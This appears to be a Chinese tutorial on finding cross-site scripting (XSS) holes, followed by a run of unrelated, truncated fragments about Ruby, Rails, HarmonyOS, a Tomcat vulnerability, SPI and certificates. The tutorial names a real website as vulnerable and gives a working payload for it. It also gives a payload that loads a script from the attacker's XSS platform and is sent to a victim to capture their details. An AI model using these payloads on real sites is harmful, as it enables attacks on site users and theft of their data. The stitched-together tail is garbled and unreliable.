最近一直在挖漏洞,碰到的XSS漏洞最多了,今天就顺便来讲一下,如有错的地方,烦请指出。
00×1 什么是XSS漏洞:
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
00×2 XSS漏洞有什么危害:
1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
00×3 XSS的分类:
1,反射型:
定义:非持久型、参数型
出现位置:网站搜索栏、用户登入口位置
2,存储型
定义:持久型
出现位置:网站留言、评论、博客日志等交互处
3,DOM型
00×4 XSS漏洞的挖掘:
如何去挖掘XSS呢?手工+工具+思路+勤奋的双手=漏洞
手工:自己构造payload,见框就插
工具:safe3,AWVS,Burpsuite丶Appscan丶XssSniper浏览器插件丶cookie修改工具
思路:个人信息,留言板,评论等,注意观察url变化,也可能会出现其他漏洞,如:逻辑漏洞
勤奋:不要总以为自己看一遍就会了,多去实战才能积累经验
漏洞:当你看到别人挖到了这个网站的漏洞,你就不挖了,他可能只是过滤了一个字符呢?漏洞无处不在,思路很重要
00×5 XSS绕过方法总结:
1,绕过单引号
2,绕过 SCRIPT 过滤
3,使用 IMG 源
4,使用制表符 换行符和回车符
5,使用空白符
6,双引号配对的 bug
7,绕过css过滤器
8,不全面的过滤器
9,转义字符
10,编码
00×6 XSS的简单闭合案例:
我已经找到了一个反射型的XSS,我就不打码了
域名:http://so.kuge.cc/
是酷鸽网的一个分站,首先我们插入正常的XSS代码 <script>alert('XSS')</script>
查看源代码,我们发现他已经插入到html代码中,但是没弹框,不要放弃,我们接着看
我们发现<a href="?op=news&k=<script>alert('XSS')</script> " class="a">新闻</a>
重点在<a标签,我们发现前面一个<a到后面">结束这一小部分
我们开始构造payload,闭合<a>标签 payload:"><script>alert('XSS')</script><a

成功弹窗
00×7 利用XSS获取目标IP:
首先你要找到一个存在XSS漏洞的站,反射型XSS也好,储存型XSS也好,DOM型的也一样
还是刚才那个,域名:http://so.kuge.cc/
构造payload:
http://so.kuge.cc/search.phpk="><script src=你的XSS平台></script><a
可以缩短发给目标,目标打开后,接收目标信息

00×8 新手在寻找XSS时所存在的一些误区:
1,误区1:XSS,不是专门去“绕过”限制。
打个简单的比方,一个已经被层层把守的大门,面前荆棘无数,而你又单枪匹马的,怎么闯的进去? 这个时候你要意识到,走大门是不可能的。其实我们要突破的城防,有很多小门可以进去的,甚至不需要任何手段就可以直接走进去。我们为什么不走呢?
XSS是很好防御的,不就是过滤一下么,所以我们不要太多寄希望与程序员错误的过滤逻辑,而应该把希望寄托于程序员的“忘记过滤”上。
2,误区2: XSS,不仅仅存在于你所看得见的位置。
大部分新手,在寻找XSS时,都会在一些评论框去输入XSS代码,然后看页面有没有弹窗。当然不是说这个方法没有用,而是这种方法,几乎很难“碰”到一个XSS。所以很多新手会觉得XSS怎么这么难找到。原因有几点:A):像评论框,个人资料这种,你所能想到的位置。稍微有一点安全意识的程序员也能想到,所以经常是被过滤掉的。
B):你所填入的资料,并不总是以HTML标签的形式,输出到页面上。所以有时候并不是不能X,只是因为你填入的东西不对。
看不见有两个层面:
A) 输入看不见。
建议大家在提交请求的时候,使用抓包软件,然后对请求的参数逐个测试。
B) 输出看不见。
建议大家对返回的数据,也可以使用抓包软件抓取数据,然后对抓回的数据进行搜索,搜索你输入的数据,来定位看不见的输出。
3,误区3: XSS,绕过限制不是让你乱用字符去绕过,切忌盲目。
某人在看到代码是 <a href="xxxx\u0022"> 的时候,问大家:“为什么\u0022”不行啊? 这种绕过是盲目的。
在测试初期,我们如果不愿意去看对方的代码逻辑,可以采用“盲目”的方式去测试(用各种特殊字符去试探),这样可以节省很多时间。但是,当我们已经能够确定,数据输出位于哪个点时,比如上面这个
xxxx ,我们已经知道是输出到了 href="之间" 的时候。我们就不能盲目的去"绕过”,一定要有针对性。这个针对性主要是以下几点。
A) 输出点,是直接输出,还是经过了DOM。
简单通俗点的说法是:
前者可以通过右键查看源代码,搜索到。
后者通过右键查看源代码是搜索不到的。
B) 直接输出点,是位于HTML标签里,还是位于Script脚本里,或者是Style里
HTML标签又分为:
是在HTML标签之间: <div> 内容在这里 </div>
还是在HTML属性之间: <img alt="内容在这里">
还是在HTML事件之间: <img>
Script/style标签:
根据输出自己去构造闭合,保证语法正确即可。
C) DOM输出点,这个需要一定的JS基础。
C.1) 定位输出内容的JS代码段。
C.2) 查看此代码段,是否存在过滤问题。
C.3) 如果存在,制定绕过规则。
D) 输出点,采用的什么过滤规则
D.1)了解以上B)中,
每个点该过滤什么字符,
如果没过滤什么字符,该怎么去利用。
D.2)逐个测试法,看看目标输出点,到底过滤了哪些字符
D.3)测试服务器端的一些转换逻辑,比如有些服务器会先将"转换为"
D.4)确定是否可绕过,不能绕过的尽早放弃
总之,首先要了解如何防御,你才能了解,如何绕过,不能盲目。其中,B+D的规则基本是死的,偶尔碰上些服务器端过滤逻辑有问题的,是可以绕过的,尤其是服务器端采用黑名单的方式时。C则较为灵活,所谓的“绕过”往往是针对这种。
4,其它:
A) 代码里明明看到插入了 <script>,怎么不执行啊?
这种问题,zone里貌似有几个帖子了,这里强调下,打开调试工具看代码的时候,请注意颜色。
以chrome为例,只有<script>..</script>标记以彩色显示时,才说明是插入了,而以黑色显示时,实际上的代码是:<script>....
</script> ,其它标签同理。
B) <xxx xxxx="xxx"> 这个放进去怎么不行啊?
首先确定你这个是XSS代码,此外,一些新手会在网上找到一些旧的资料,而有些XSS代码是IE6时代的产物,或者是浏览器特异的代码,所以一定要注意代码来源,适用于什么浏览器。
推荐书籍:
XSS跨站脚本攻击剖析与防御
我试图获取一个长度在1到10之间的字符串,并输出将字符串分解为大小为1、2或3的连续子字符串的所有可能方式。例如:输入:123456将整数分割成单个字符,然后继续查找组合。该代码将返回以下所有数组。[1,2,3,4,5,6][12,3,4,5,6][1,23,4,5,6][1,2,34,5,6][1,2,3,45,6][1,2,3,4,56][12,34,5,6][12,3,45,6][12,3,4,56][1,23,45,6][1,2,34,56][1,23,4,56][12,34,56][123,4,5,6][1,234,5,6][1,2,345,6][1,2,3,456][123
我主要使用Ruby来执行此操作,但到目前为止我的攻击计划如下:使用gemsrdf、rdf-rdfa和rdf-microdata或mida来解析给定任何URI的数据。我认为最好映射到像schema.org这样的统一模式,例如使用这个yaml文件,它试图描述数据词汇表和opengraph到schema.org之间的转换:#SchemaXtoschema.orgconversion#data-vocabularyDV:name:namestreet-address:streetAddressregion:addressRegionlocality:addressLocalityphoto:i
question的一些答案关于redirect_to让我想到了其他一些问题。基本上,我正在使用Rails2.1编写博客应用程序。我一直在尝试自己完成大部分工作(因为我对Rails有所了解),但在需要时会引用Internet上的教程和引用资料。我设法让一个简单的博客正常运行,然后我尝试添加评论。靠我自己,我设法让它进入了可以从script/console添加评论的阶段,但我无法让表单正常工作。我遵循的其中一个教程建议在帖子Controller中创建一个“评论”操作,以添加评论。我的问题是:这是“标准”方式吗?我的另一个问题的答案之一似乎暗示应该有一个CommentsController参
在应用开发中,有时候我们需要获取系统的设备信息,用于数据上报和行为分析。那在鸿蒙系统中,我们应该怎么去获取设备的系统信息呢,比如说获取手机的系统版本号、手机的制造商、手机型号等数据。1、获取方式这里分为两种情况,一种是设备信息的获取,一种是系统信息的获取。1.1、获取设备信息获取设备信息,鸿蒙的SDK包为我们提供了DeviceInfo类,通过该类的一些静态方法,可以获取设备信息,DeviceInfo类的包路径为:ohos.system.DeviceInfo.具体的方法如下:ModifierandTypeMethodDescriptionstatic StringgetAbiList()Obt
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
SPI接收数据左移一位问题目录SPI接收数据左移一位问题一、问题描述二、问题分析三、探究原理四、经验总结最近在工作在学习调试SPI的过程中遇到一个问题——接收数据整体向左移了一位(1bit)。SPI数据收发是数据交换,因此接收数据时从第二个字节开始才是有效数据,也就是数据整体向右移一个字节(1byte)。请教前辈之后也没有得到解决,通过在网上查阅前人经验终于解决问题,所以写一个避坑经验总结。实际背景:MCU与一款芯片使用spi通信,MCU作为主机,芯片作为从机。这款芯片采用的是它规定的六线SPI,多了两根线:RDY和INT,这样从机就可以主动请求主机给主机发送数据了。一、问题描述根据从机芯片手
这是针对我无法破坏的现有公共(public)API,但我确实希望对其进行扩展。目前,该方法采用字符串或符号或任何其他在作为第一个参数传递给send时有意义的内容我想添加发送字符串、符号等列表的功能。我可以只使用is_a吗?数组,但还有其他发送列表的方法,这不是很像ruby。我将调用列表中的map,所以第一个倾向是使用respond_to?:map。但是字符串也会响应:map,所以这行不通。 最佳答案 如何将它们全部视为数组?String的行为与仅包含String的Array相同:deffoo(obj,arg)[*arg].eac
我创建了一个由于“在运行时执行的单例元类定义”而无法编码的对象(这段代码的描述是否正确?)。这是通过以下代码执行的:#defineclassXthatmyusesingletonclassmetaprogrammingfeatures#throughcallofmethod:break_marshalling!classXdefbreak_marshalling!meta_class=class我该怎么做才能使对象编码正确?是否可以从对象instance_of_x的classX中“移除”单例组件?我真的需要一个建议,因为我们的一些对象需要通过Marshal.dump序列化机制进行缓存。
使用Paperclip,我想从这样的URL抓取图像:require'open-uri'user.photo=open(url)问题是我最后得到一个像“open-uri20110915-4852-1o7k5uw”这样的文件名。有什么方法可以更改user.photo上的文件名?作为一个额外的变化,Paperclip将我的文件存储在S3上,所以如果我可以在初始分配中设置我想要的文件名就更好了,这样图像就会上传到正确的S3key。像这样:user.photo=open(url),:filename=>URI.parse(url).path 最佳答案
我正在开发一个xcode自动构建系统。在执行一些预构建验证时,我想检查指定的证书文件是否已被撤销。我了解securityverify-cert验证其他证书属性但不验证吊销。我如何检查撤销?我正在用Ruby编写构建系统,但我对任何语言的想法都持开放态度。我阅读了这个答案(Openssl-Howtocheckifacertificateisrevokedornot),但指向底部的链接(DoesOpenSSLautomaticallyhandleCRLs(CertificateRevocationLists)now?)进入的Material对我的目的来说有点过于复杂(用户上传已撤销的证书是一